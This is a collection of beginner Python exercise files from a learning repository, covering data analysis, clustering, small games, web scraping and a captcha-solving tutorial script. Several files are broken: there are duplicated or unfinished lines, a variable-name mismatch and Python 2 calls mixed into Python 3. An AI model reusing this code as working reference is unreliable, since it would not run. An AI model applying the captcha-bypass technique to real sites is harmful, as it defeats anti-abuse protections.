"is_vendor": false, "language": "Python", "length_bytes": 439, "license_type": "no_license", "max_line_length": 72, "num_lines": 18, "path": "/用Python玩转数据/DataFrame.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport numpy as np\n\ndata = {'name':['Wangdachui','Linling','Niuyun'],'pay':[4000,5000,6000]}\nframe = pd.DataFrame(data)\nprint(frame)\n\ndata2 = np.array([('Wangdachui',4000),('Cuihua',5000),('Tiezhu',6000)])\nframe2 = pd.DataFrame(data,index=range(1,4),columns=['name','pay'])\nprint(frame2)\n\n#frame2.index = range(2,5)\n#print(frame2)\n\nprint(frame2.name)\nprint('\\n')\nprint(frame2.pay.min())\nprint(frame2[frame2.pay>=5000])\n" }, { "alpha_fraction": 0.48417720198631287, "alphanum_fraction": 0.6835442781448364, "avg_line_length": 21.571428298950195, "blob_id": "f51e9535e05304b6f836b5eb44db270fed79d57e", "content_id": "9fd744aa70b9cc50d682674ec9910f6e39c57965", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 316, "license_type": "no_license", "max_line_length": 51, "num_lines": 14, "path": "/用Python玩转数据/kmeansStu2.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import numpy as np\nfrom sklearn.cluster import KMeans\n\nlist1 = [88,74,96,85]\nlist2 = [92,99,95,94]\nlist3 = [91,87,99,95]\nlist4 = [78,99,97,81]\nlist5 = [88,78,98,84]\nlist6 = [100,95,100,92]\n\nX = np.array([list1,list2,list3,list4,list5,list6])\nkmeans = KMeans(n_clusters=2).fit(X)\npred = kmeans.predict(X)\nprint(pred)\n" }, { "alpha_fraction": 0.6153846383094788, "alphanum_fraction": 0.620192289352417, "avg_line_length": 16.33333396911621, "blob_id": "2b4b8471fc29d8e493187c7f725cd7260b0fe8ea", "content_id": "fed64880141b05c19b969c1faffb0570043cbe8c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 208, "license_type": "no_license", "max_line_length": 50, "num_lines": 12, "path": "/用Python玩转数据/compare.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "#sStr = 'acdhdca'\n#if(sStr==''.join(reversed(sStr))):\n\t#print('Yes')\n#else:\n\t#print('No')\n\nimport operator\nsStr = 'acdhdca'\nif operator.eq(sStr,''.join(reversed(sStr))) == 0:\n\tprint('Yes')\nelse:\n\tprint('No')\n" }, { "alpha_fraction": 0.6283491849899292, "alphanum_fraction": 0.6447709798812866, "avg_line_length": 27.219512939453125, "blob_id": "54ee68392c53ce880745a950b1821da1e71856bd", "content_id": "92e14e9db3686e3bab0e8e645b9592a0f6413642", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1169, "license_type": "no_license", "max_line_length": 90, "num_lines": 41, "path": "/douban_top250/douban_top250_2.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\n# url = 'https://movie.douban.com/top250'\nurlList = []\nonlyname = []\nratingList = []\npeopleList = []\nfor i in range(0,250,25):\n url = 'https://movie.douban.com/top250?start={start}&filter='.format(start=i)\n urlList.append(url)\n html = urlopen(url)\n bsObj = BeautifulSoup(html)\n\n spanSet = bsObj.findAll('span',attrs = {'class':'title'})\n for span in spanSet:\n imageName = span.string\n if imageName.find(' / ') == -1:\n onlyname.append(imageName)\n\n ratingSet = bsObj.findAll('span',attrs={'class':'rating_num'})\n for rating_num in ratingSet:\n ratingList.append(rating_num.string)\n\n # peopleSet = bsObj.findAll('div',attrs={'class':'star'}).next_siblings#用兄弟标签\n\n\t\t# print(imageName)\n# print(onlyname)\n\n# print(spanSet)\n# print(ratingSet)\n# print(ratingList)\n# print(peopleSet)\n\n\nfilename = 'DoubanMoviesTop250.csv'\ntop_num = 1\nwith open (filename,'w') as file_object:\n for (name,rating_num) in zip(onlyname,ratingList):\n file_object.write('Top'+ str(top_num) + ',' + name + ',' + str(rating_num) + '\\n')\n top_num += 1" }, { "alpha_fraction": 0.6287128925323486, "alphanum_fraction": 0.6683168411254883, "avg_line_length": 17.363636016845703, "blob_id": "a3b402e3025e16d27ede082f9ff602c19eabdacb", "content_id": "bdbf5e4aff998743e69dfcb5c77cbfad6fd93c40", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 202, "license_type": "no_license", "max_line_length": 58, "num_lines": 11, "path": "/用Python玩转数据/guessnum1.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "from random import randint\n\nx = randint(0,300)\ndigit = int(input('Please input a number between 0-300:'))\n\nif digit == x:\n\tprint('Bingo!')\nelif digit > x:\n\tprint('Too large!')\nelse:\n\tprint('Too small')\n" }, { "alpha_fraction": 0.6746575236320496, "alphanum_fraction": 0.7020547986030579, "avg_line_length": 25.454545974731445, "blob_id": "7d12a1e2669c47a9d41a28aa2062f765267938bd", "content_id": "02665cffccec53b8df376cd023d9a2a752096266", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 292, "license_type": "no_license", "max_line_length": 74, "num_lines": 11, "path": "/Python网络数据采集/六度空间游戏.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nimport re\nimport pymysql\n\ncoon = pymysql.connect(host = '127.0.0.1',unix_socket = '/tmp/mysql.sock',\n\t\t\t\t\t\tuser = 'root',passwd = None,db = 'mysql',charset = 'utf8')\ncur = conn.cursor()\ncur.execute('USE wikipedia')\n\ndef \n" }, { "alpha_fraction": 0.6327800750732422, "alphanum_fraction": 0.6856846213340759, "avg_line_length": 25.054054260253906, "blob_id": "142ffc25d98135147138e168bf64349af94f8d32", "content_id": "3f84bbac45e987d4b46fc156cb16b5c99d6c6c7d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 964, "license_type": "no_license", "max_line_length": 68, "num_lines": 37, "path": "/Data Visualization/world_population.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import json\nimport pygal\nfrom pygal.style import RotateStyle as RS,LightColorizedStyle as LCS\nfrom country_codes import get_country_code\n\nfilename = 'population_data.json'\nwith open(filename) as f:\n\tpop_data = json.load(f)\n\ncc_populations = {}\nfor pop_dict in pop_data:\n\tif pop_dict['Year'] == '2010':\n\t\tcountry_name = pop_dict['Country Name']\n\t\tpopulation = int(float(pop_dict['Value']))\n\t\tcode = get_country_code(country_name)\n\t\tif code:\n\t\t\tcc_populations[code] = population\n\ncc_pop_1,cc_pop_2,cc_pop_3 = {},{},{}\nfor cc,pop in cc_populations.items():\n\tif pop < 10000000:\n\t\tcc_pop_1[cc] = pop\n\telif pop < 1000000000:\n\t\tcc_pop_2[cc] = pop\n\telse:\n\t\tcc_pop_3[cc] = pop\n\n#print(len(cc_pop_1),len(cc_pop_2),len(cc_pop_3))\n\nwm_style = RS('#336699',base_style=LCS)\nwm = pygal.Worldmap(style=wm_style)\nwm.title = 'World Population in 2010,by Country'\nwm.add('0-10m',cc_pop_1)\nwm.add('10m-1bn',cc_pop_2)\nwm.add('>1bn',cc_pop_3)\n\nwm.render_to_file('world_population.svg')\n" }, { "alpha_fraction": 0.671999990940094, "alphanum_fraction": 0.6759999990463257, "avg_line_length": 29.303030014038086, "blob_id": "fef91f1627908d34e0063dce37c66810ef3d0d1d", "content_id": "0e43b5b5fa715beecc718d8eb8db9dfaa5270f86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1000, "license_type": "no_license", "max_line_length": 65, "num_lines": 33, "path": "/Python网络数据采集/KevinBacon.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nimport datetime\nimport random\nimport re\n\n#url = 'http://en.wikipedia.org/wiki/Kevin_Bacon'\n#html = urlopen(url)\n#bsObj = BeautifulSoup(html)\n#for link in bsObj.findAll('a'):\n\t#if 'href' in link.attrs:\n\t\t#print(link.attrs['href'])\n\n#url = 'http://en.wikipedia.org/wiki/Kevin_Bacon'\n#html = urlopen(url)\n#bsObj = BeautifulSoup(html)\n#for link in bsObj.find('div',{'id':'bodyContent'}).findAll('a',\n\t\t\t\t\t\t#href = re.compile('^(/wiki/)((?!:).)*$')):\n\t#if 'href' in link.attrs:\n\t\t#print(link.attrs['href'])\n\nrandom.seed(datetime.datetime.now())\ndef getLinks(articalUrl):\n\thtml = urlopen('http://en.wikipedia.org' + articalUrl)\n\tbsObj = BeautifulSoup(html)\n\treturn bsObj.find('div',{'id':'bodyContent'}).findAll('a',\n\t\t\t\t\t\thref = re.compile('^(/wiki/)((?!:).)*$'))\n\nlinks = getLinks('/wiki/Kevin_Bacon')\nwhile len(links) > 0:\n\tnewArticle = links[random.randint(0,len(links)-1)].attrs['href']\n\tprint(newArticle)\n\tlinks = getLinks(newArticle)\n" }, { "alpha_fraction": 0.732032835483551, "alphanum_fraction": 0.7361396551132202, "avg_line_length": 22.7560977935791, "blob_id": "1758be671fdc075cf1dc218d7a204ed729d61d60", "content_id": "7462df6843ae8d393626d470a409f308dd98908f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 974, "license_type": "no_license", "max_line_length": 60, "num_lines": 41, "path": "/Python网络数据采集/scrapetest.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "from urllib.request import urlopen\nfrom urllib.error import HTTPError,URLError\nfrom bs4 import BeautifulSoup\n\ndef getTitle(url):\n\ttry:\n\t\thtml = urlopen(url)\n\texcept (HTTPError,URLError) as e:\n\t\treturn None\n\ttry:\n\t\tbsObj = BeautifulSoup(html.read())\n\t\ttitle = bsObj.body.h1\n\texcept AttributeError as e:\n\t\treturn None\n\treturn title\n\ndef getNameList(url):\n\ttry:\n\t\thtml = urlopen(url)\n\texcept (HTTPError,URLError) as e:\n\t\treturn None\n\tbsObj = BeautifulSoup(html,'lxml')\n\tnameList = bsObj.findAll('span',{'class':'green'})\n\tnameOnlyList = sorted(set(nameList),key=nameList.index)\n\tfor name in nameOnlyList:\n\t\tprint(name.get_text())\t\n\nurl = 'http://www.pythonscraping.com/pages/warandpeace.html'\nnameList = getNameList(url)\n\n\n\n#title = getTitle(url)\t\n#if title == None:\n\t#print('Title cound not be found.')\n#else:\n\t#print(title)\n\n#http://www.pythonscraping.com/pages/page1.html\n#http://www.pythonscraping.com/pages/warandpeace.html\n#http://www.pythonscraping.com/pages/page3.html\n" }, { "alpha_fraction": 0.5274725556373596, "alphanum_fraction": 0.6117216348648071, "avg_line_length": 12.649999618530273, "blob_id": "6de2801b091e04d8c2d4ac03c68d4147fb51b8bf", "content_id": "956ff9e12ba5bea2ab8701e89fe673ff91d8511e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 273, "license_type": "no_license", "max_line_length": 38, "num_lines": 20, "path": "/用Python玩转数据/ndarray.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import numpy as np\na = np.array([1,2,3])\nprint(a)\n\nb = np.array([(1,2,3),(4,5,6)])\nprint(b)\n\nc = np.arange(1,5,0.5)\nprint(c)\n\nd = np.random.random((2,2))\nprint(d)\n\ne = np.linspace(1,2,10,endpoint=False)\nprint(e)\n\nprint('\\n')\n\nf = np.linspace(1,2,10,endpoint=True)\nprint(f)\n" }, { "alpha_fraction": 0.5154929757118225, "alphanum_fraction": 0.6929577589035034, "avg_line_length": 22.66666603088379, "blob_id": "463c4239de01180328d8265bd9cd0b751bcbcd63", "content_id": "7ffecbee52a41fb91dfa489f34dac97aae36ddb6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 355, "license_type": "no_license", "max_line_length": 54, "num_lines": 15, "path": "/用Python玩转数据/kmeansStu1.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import numpy as np\nfrom scipy.cluster.vq import vq,kmeans,whiten\n\nlist1 = [88,74,96,85]\nlist2 = [92,99,95,94]\nlist3 = [91,87,99,95]\nlist4 = [78,99,97,81]\nlist5 = [88,78,98,84]\nlist6 = [100,95,100,92]\n\ndata = np.array([list1,list2,list3,list4,list5,list6])\nwhiten = whiten(data)\ncentroids,_ = kmeans(whiten,2)\nresult,_ = vq(whiten,centroids)\nprint(result)\n" }, { "alpha_fraction": 0.7643835544586182, "alphanum_fraction": 0.767123281955719, "avg_line_length": 24.172412872314453, "blob_id": "87846b532da10640c5e17cfd36da6ef910db1dfe", "content_id": "10ab536f28d39b21aa1e0e4b853d45df25b0f21b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 912, "license_type": "no_license", "max_line_length": 66, "num_lines": 29, "path": "/alien_invasion/alien_invasion.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "GB18030", "text": "#coding=gbk\nimport sys\nimport pygame\nfrom settings import Settings\nfrom ship import Ship\nimport game_functions as gf #①直接导入整个模块,所以不用from;②引入别名\nfrom pygame.sprite import Group\n\ndef run_game():\n\t\n\t\"\"\"初始化游戏并创建一个屏幕对象\"\"\"\n\tpygame.init()\n\t#注意这一句:from settings import Settings 并赋给ai_settings\n\tai_settings = Settings()\n\tscreen = pygame.display.set_mode(\n\t\t(ai_settings.screen_width,ai_settings.screen_height))\n\tpygame.display.set_caption('Alien Invation')\n\n\tship = Ship(ai_settings,screen)\n\tbullets = Group()\n\t\n\t#开始游戏的循环\n\twhile True:\n\t\tgf.check_events(ai_settings,screen,ship,bullets)#检查玩家的输入\n\t\tship.update()#更新飞船的位置\n\t\tgf.update_bullets(bullets)#更新所有未消失的子弹的位置\n\t\tgf.update_screen(ai_settings,screen,ship,bullets)#使用更新后的位置来绘制新屏幕\n\nrun_game()\n" }, { "alpha_fraction": 0.7197452187538147, "alphanum_fraction": 0.7229299545288086, "avg_line_length": 21.5, "blob_id": "f3838b93012d5972008d52329dfe7ea26b1c9c95", "content_id": "48689ac9ea412135cc60d5288a8165028656bf5f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 314, "license_type": "no_license", "max_line_length": 61, "num_lines": 14, "path": "/Python网络数据采集/bilibili.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\nurl = 'http://www.bilibili.com/ranking'\nhtml = urlopen(url)\nbsObj = BeautifulSoup(html)\n\ntitlelist = []\n\ntitleset = bsObj.findAll('div',{'class':'title'})\nrankset = bsObj.findAll('i',{'class':'b-icon b-icon-v-play'})\n\nprint(titleset)\nprint(rankset)" }, { "alpha_fraction": 0.6680161952972412, "alphanum_fraction": 0.7004048824310303, "avg_line_length": 21.454545974731445, "blob_id": "9913f3014c14b1aeb02a7eba38d282cbf82df717", "content_id": "4080e52988195d56d380542b48e697f7038588fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 247, "license_type": "no_license", "max_line_length": 42, "num_lines": 11, "path": "/用Python玩转数据/inaugural.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "from nltk import *\nfrom nltk.corpus import inaugural\n\ncfd = ConditionalFreqDist(\n\t\t\t(fileid,len(w))\n\t\t\tfor fileid in inaugural.fileids()\n\t\t\tfor w in inaugural.words(fileid)\n\t\t\tif fileid > '1980' and fileid < '2010')\n\nprint(cfd.items())\ncfd.plot()\n" }, { "alpha_fraction": 0.6338983178138733, "alphanum_fraction": 0.6644067764282227, "avg_line_length": 20.071428298950195, "blob_id": "19193ea491d568d0da4a25e40c55b0b2de488414", "content_id": "d83b8ac31cc74aa372f418a0d597a4fe41594850", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 295, "license_type": "no_license", "max_line_length": 46, "num_lines": 14, "path": "/用Python玩转数据/guessnum2.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "from random import randint\n\nx = randint(0,300)\n\nfor count in range(5):\n\tprint('Please input a number between 0-300:')\n\tdigit = int(input())\n\tif digit == x:\n\t\tprint('Bingo!')\n\t\tbreak\n\telif digit > x:\n\t\tprint('Too large,please try again!')\n\telif digit < x:\n\t\tprint('Too small,please try agagin!')\n" }, { "alpha_fraction": 0.7061855792999268, "alphanum_fraction": 0.7096219658851624, "avg_line_length": 37.79999923706055, "blob_id": "7b7df6b3329d71cdb68966f20aeab33dd19cf1e9", "content_id": "210ab08c9d25ab054e5fa1b9c41ca6090c1acc9f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 582, "license_type": "no_license", "max_line_length": 83, "num_lines": 15, "path": "/用Python玩转数据/revcopy_own.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "filename_c = 'companies_own.txt'\nfilename_sc = 'scompanies_own.txt'\nwith open(filename_c,'w') as file_object:\n\t#file_object.write('GOOGLE Inc.')\n\t#file_object.write('\\nMicrosoft Corporation')\n\t#file_object.write('\\nApple Inc.')\n\t#file_object.write('\\nFacebook Inc.')\n\tfile_object.write('GOOGLE Inc.\\nMicrosoft Corporation\\nApple Inc.\\nFacebook Inc.')\nwith open(filename_c,'r') as file_object:\n\tcNames = file_object.readlines()\n\nwith open(filename_sc,'w') as file_object_sc:\n\tfor i in range(0,len(cNames)):\n\t\tcNames[i] = str(i+1) + ' ' + cNames[i]\n\tfile_object_sc.writelines(cNames)\n" }, { "alpha_fraction": 0.6052553057670593, "alphanum_fraction": 0.6395938992500305, "avg_line_length": 20.740259170532227, "blob_id": "3202b575fb3a499b4ce76b5f6a3e443601e8159b", "content_id": "575729803d674064d50304f918ba9ba069408547", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3727, "license_type": "no_license", "max_line_length": 159, "num_lines": 154, "path": "/Python破解验证码/crack.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "GB18030", "text": "#coding=gbk\n#from PIL import Image\n\n#im = Image.open('captcha.gif')\n#im.convert('P')\n#im2 = Image.new('P',im.size,255)\n\n#for x in range(im.size[1]):\n\t#for y in range(im.size[0]):\n\t\t#pix = im.getpixel((y,x))\n\t\t#if pix == 220 or pix == 227:\n\t\t\t#im2.putpixel((y,x),0)\n##im2.show()\n\n##print(im.histogram)\n\n##his = im.histogram()\n##values = {}\n\n##for i in range(256):\n\t##values[i] = his[i]\n\n##for j,k in sorted(values.items(),key=lambda x:x[1],reverse=True)[:10]:\n\t##print(j,k)\n\n#inletter = False\n#foundletter = False\n\n#start = 0\n#end = 0\n#letters = []\n\n#for y in range(im2.size[0]):\n\t#for x in range(im2.size[1]):\n\t\t#pix = im2.getpixel((y,x))\n\t\t#if pix != 255:\n\t\t\t#inletter = True\n\t#if foundletter == False and inletter == True:\n\t\t#foundletter = True\n\t\t#start = y\n\t#if foundletter == True and inletter == False:\n\t\t#foundletter = False\n\t\t#end = y\n\t\t#letters.append((start,end))\n\t#inletter = False\n#print(letters)\n\n#①提取文本图片\nfrom PIL import Image\nim = Image.open('captcha.gif')\nim.convert('P')\n#print(im.histogram()) #打印颜色直方图,颜色直方图的每一位数字都代表了在图片中含有对应位的颜色的像素的数量\n\nhis = im.histogram()\nvalues = {}\nfor i in range(256):\n\tvalues[i] = his[i]\nfor j,k in sorted(values.items(),key=lambda x:x[1],reverse=True)[:10]: #只取前10的颜色\n\tprint(j,k)\n\nim2 = Image.new('P',im.size,255)\n\nfor x in range(im.size[1]):\n\tfor y in range(im.size[0]):\n\t\tpix = im.getpixel((y,x))\n\t\tif pix==220 or pix==227: #其中220和227才是我们需要的红色和灰色\n\t\t\tim2.putpixel((y,x),0) #可以通过这一讯息构造一种黑白二值图片\n#im2.show()\n\n#②提取单个字符图片,对im2进行纵向切割\ninletter = False\nfoundletter = False\nstart = 0\nend = 0\nletters = []\n\nfor y in range(im2.size[0]):\n\tfor x in range(im2.size[1]):\n\t\tpix = im2.getpixel((y,x))\n\t\tif pix != 255:\n\t\t\tinletter = True\n\tif foundletter == False and inletter == True:\n\t\tfoundletter = True\n\t\tstart = y\n\tif foundletter == True and inletter == False:\n\t\tfoundletter = False\n\t\tend = y\n\t\tletters.append((start,end))\n\tinletter = False\nprint(letters) #得到每个字符开始和结束的列序号\n\n#③AI与向量空间图像识别\nimport math\n\nclass VectorCompare():\n\t#计算矢量大小\n\tdef magnitude(self,concordance):\n\t\ttotal = 0\n\t\tfor word,count in concordance.iteritems():\n\t\t\ttotal += count ** 2\n\t\treturn math.sqrt(total)\n\t#计算矢量之间的cos值\n\tdef relation(self,concordance1,concordance2):\n\t\trelevance = 0\n\t\ttopvalue = 0\n\t\tfor word,count in concordance1.items():\n\t\t\tif concordance2.has_key(word):\n\t\t\t\ttopvalue += count * concordance2[word]\n\t\treturn topvalue / (self.magnitude(concordance1)) * self.magnitude(concorddance2)\n\n#将图片转换为矢量\nimport os\nimport hashlib\nimport time\n\ndef buildvector(im):\n\td1 = {}\n\tcount = 0\n\tfor i in im.getdata():\n\t\td1[count] = i\n\t\tcount += 1\n\treturn d1\n\nv = VectorCompare()\n\niconset = ['0','1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']\n\n#加载训练集\nimageset = []\nfor letter in iconset:\n\tfor img in os.listdir('./iconset/%s/'%(letter)):\n\t\ttemp = []\n\t\tif img != \"Thumbs.db\" and img != \".DS_Store\":\n\t\t\ttemp.append(buildvector(Image.open(\"./iconset/%s/%s\"%(letter,img))))\n\t\timageset.append({letter:temp})\n\n\ncount = 0\n#对验证码图片进行切割\nfor letter in letters:\n\tm = hashlib.md5()\n\tim3 = im2.crop(( letter[0] , 0, letter[1],im2.size[1] ))\n\n\tguess = []\n\n\t#将切割得到的验证码小片段与每个训练片段进行比较\n\tfor image in imageset:\n\t\tfor x,y in image.iteritems():\n\t\t\tif len(y) != 0:\n\t\t\t\tguess.append( ( v.relation(y[0],buildvector(im3)),x) )\n\n\tguess.sort(reverse=True)\n\tprint(\"\",guess[0])\n\tcount += 1\n\n" }, { "alpha_fraction": 0.737051784992218, "alphanum_fraction": 0.7450199127197266, "avg_line_length": 24.100000381469727, "blob_id": "942df6e50bca49cc563d27cc90e543ec09c6365b", "content_id": "54cc2892572059d7dff1e9345384cee96aee6855", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 251, "license_type": "no_license", "max_line_length": 52, "num_lines": 10, "path": "/用Python玩转数据/Hamlet.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "from nltk.corpus import gutenberg\n\nallwords = gutenberg.words('shakespeare-hamlet.txt')\nprint(len(allwords))\nprint(len(set(allwords)))\nprint(allwords.count('Hamlet'))\n\nA = set(allwords)\nlongwords = [w for w in A if len(w)>12]\nprint(sorted(longwords))\n" }, { "alpha_fraction": 0.6758104562759399, "alphanum_fraction": 0.7057356834411621, "avg_line_length": 35.54545593261719, "blob_id": "64a03e026c07214fa4b97b6b82e4d69dc2077586", "content_id": "e5aabbadac3dd925eb8fc6afd4caa53773acf728", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 401, "license_type": "no_license", "max_line_length": 82, "num_lines": 11, "path": "/Python黑帽子/TCP_Client.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import socket\n\ntarget_host = 'www.baidu.com'\ntarget_port = 80\n\nclient = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\nclient.connect((target_host,target_port))\n# client.send(b'GET / HTTP/1.1\\r\\nHost:baidu.com\\r\\n\\r\\n')\nclient.send((\"GET / HTTP/1.1\\r\\nHost: baidu.com\\r\\n\\r\\n\").encode())\nresponse = client.recv(4096)\nprint(response)client.send((\"GET / HTTP/1.1\\r\\nHost: baidu.com\\r\\n\\r\\n\").encode())" }, { "alpha_fraction": 0.609375, "alphanum_fraction": 0.6171875, "avg_line_length": 20.33333396911621, "blob_id": "663b0d384877d1d9860bc1ee97bc2697caf82bf6", "content_id": "116b51bed8f078917714c3d2dbf4e80e331e6305", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 256, "license_type": "no_license", "max_line_length": 51, "num_lines": 12, "path": "/用Python玩转数据/doginsta.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "class Dog(object):\n\tcounter = 0\n\t#def setName(self,name):\n\tdef __init__(self,name):\n\t\tself.name = name\n\t\tDog.counter += 1\n\tdef greet(self):\n\t\tprint('Hi,I am called %s.'%self.name,Dog.counter)\n\nif __name__ =='__main__':\n\tdog = Dog('XiaoQiang')\n\tdog.greet()\n" }, { "alpha_fraction": 0.6893203854560852, "alphanum_fraction": 0.6893203854560852, "avg_line_length": 16.16666603088379, "blob_id": "a40c0cf14b92ad8166cf01eceb28a7589143ea82", "content_id": "9f3b9ecb01af2cba5d8659e5e7a9bc1ee150b9e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 103, "license_type": "no_license", "max_line_length": 44, "num_lines": 6, "path": "/用Python玩转数据/firstwxPython.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import wx\n\napp = wx.App()\nframe = wx.Frame(None,title = 'Hello,World')\nframe.Show(True)\napp.MainLoop()\n" }, { "alpha_fraction": 0.6991018056869507, "alphanum_fraction": 0.7215569019317627, "avg_line_length": 28.086956024169922, "blob_id": "31983cbc43f45dc627358dde62e103a137b80c3d", "content_id": "acca4364847dde8566eaed83629216d154afaea6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 668, "license_type": "no_license", "max_line_length": 149, "num_lines": 23, "path": "/Python网络数据采集/WangYiMIT2.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nimport re\n\nurl = 'http://open.163.com/special/opencourse/bianchengdaolun.html?referered=http%3A%2F%2Fopen.163.com%2Fspecial%2Fopencourse%2Fbianchengdaolun.html'\nhtml = urlopen(url)\nbsObj = BeautifulSoup(html)\n\ntitleset = bsObj.find('h2')\ntitle = titleset.string\n\nchapterlist = []\nchapterset = bsObj.findAll('td',{'class':'u-ctitle'})\nprint(chapterset)\n\nfor link in bsObj.find('table').findAll('a'):\n if 'href' in link.attrs:\n print(link.attrs['href'])\n\nfilename = 'mit2.csv'\nwith open (filename,'w') as file_object:\n for chapter in chapterset:\n file_object.write(str(chapter) + '\\n')" }, { "alpha_fraction": 0.6843191385269165, "alphanum_fraction": 0.6843191385269165, "avg_line_length": 31.311111450195312, "blob_id": "426eef3f2980bde920d830d99338279474ece649", "content_id": "f149eea8a2fc8fac8712399de41337c8b1e4bc1a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1454, "license_type": "no_license", "max_line_length": 71, "num_lines": 45, "path": "/write_message.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "filename = 'programming.txt'\nwith open(filename,'w') as file_object:\n\tfile_object.write('I love programming.\\n')\n\tfile_object.write('I love creating games.\\n')\n\nwith open(filename,'a') as file_object:\n\tfile_object.write('I also love finding meaning in large datasets.\\n')\n\tfile_object.write('I love creating apps that can run in a browser.\\n')\n\nwith open(filename) as file_object:\n\tcontents = file_object.read()\n\tprint(contents)\n\nname = ''\nreason = ''\nguest_filename = 'guest.txt'\nguest_book_filename = 'guest_book.txt'\nguest_reason_filename = 'reason.txt'\nactive = True\nwhile active:\n\tname = input('Enter your name :')\n\tif name == 'quit':\n\t\tactive = False\n\tif name != 'quit':\n\t\twith open(guest_filename,'a') as file_object:\n\t\t\tfile_object.write(name.lower() + '\\n')\n\t\tprint('Hello,' + name.title())\n\t\twith open(guest_book_filename,'a') as file_object:\n\t\t\tfile_object.write(name.lower() + ' visits.\\n')\n\t\treason = input('Why do you love programming :')\n\t\tif reason == 'quit':\n\t\t\twith open(guest_reason_filename,'a') as file_object:\n\t\t\t\tfile_object.write(name.lower() + ':no reason\\n')\n\t\t\tactive = False\n\t\tif reason != 'quit':\n\t\t\twith open(guest_reason_filename,'a') as file_object:\n\t\t\t\tfile_object.write(name.lower() + ':' + reason.lower() + '\\n')\n\t\nwith open(guest_filename) as file_object:\n\tcontents = file_object.read()\n\tprint(contents.title())\n\nwith open(guest_reason_filename) as file_object:\n\tcontents = file_object.read()\n\tprint(contents.title())\n" }, { "alpha_fraction": 0.7533039450645447, "alphanum_fraction": 0.784140944480896, "avg_line_length": 33.92307662963867, "blob_id": "f54d15e39c132ab046f232214b85b819c03778d6", "content_id": "1e579e3ecbcb87520eb387e84d674f1a140d6d91", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 454, "license_type": "no_license", "max_line_length": 75, "num_lines": 13, "path": "/test_cities.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import unittest\nfrom city_functions import city_country\n\nclass CityCountryTestCase(unittest.TestCase):\n\tdef test_city_country(self):\n\t\tformatted_message = city_country('santiago','chile')\n\t\tself.assertEqual(formatted_message,'Santiago,Chile')\n\t\n\tdef test_city_country_population(self):\n\t\tformatted_message = city_country('santiago','chile',population=5000000)\n\t\tself.assertEqual(formatted_message,'Santiago,Chile - population 5000000')\n\t\nunittest.main()\n" }, { "alpha_fraction": 0.6446700692176819, "alphanum_fraction": 0.6446700692176819, "avg_line_length": 20.88888931274414, "blob_id": "d18c9a4a283203638ae64bc8d41322d0c74b15be", "content_id": "d4cde9257860e0396e340f0ddbfd2fb672c31c64", 